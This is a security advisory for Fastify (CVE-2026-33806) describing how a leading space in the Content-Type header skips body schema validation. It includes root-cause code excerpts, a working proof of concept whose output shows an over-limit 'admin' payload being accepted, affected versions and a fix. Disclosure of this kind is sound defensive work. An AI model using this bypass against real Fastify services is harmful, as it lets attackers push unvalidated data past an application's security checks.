GHSA-247c-9743-5963

Suggest an improvement
Source
https://github.com/advisories/GHSA-247c-9743-5963
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-247c-9743-5963/GHSA-247c-9743-5963.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-247c-9743-5963
Aliases
  • CVE-2026-33806
Published
2026-04-15T19:24:41Z
Modified
2026-04-15T19:31:19.376126Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N CVSS Calculator
Summary
Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header
Details

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact

Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:

CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}
Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-1287"
    ],
    "github_reviewed_at": "2026-04-15T19:24:41Z",
    "severity": "HIGH",
    "github_reviewed": true
}
References

Affected packages

npm / fastify

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.3.2
Fixed
5.8.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-247c-9743-5963/GHSA-247c-9743-5963.json"
last_known_affected_version_range
"<= 5.8.4"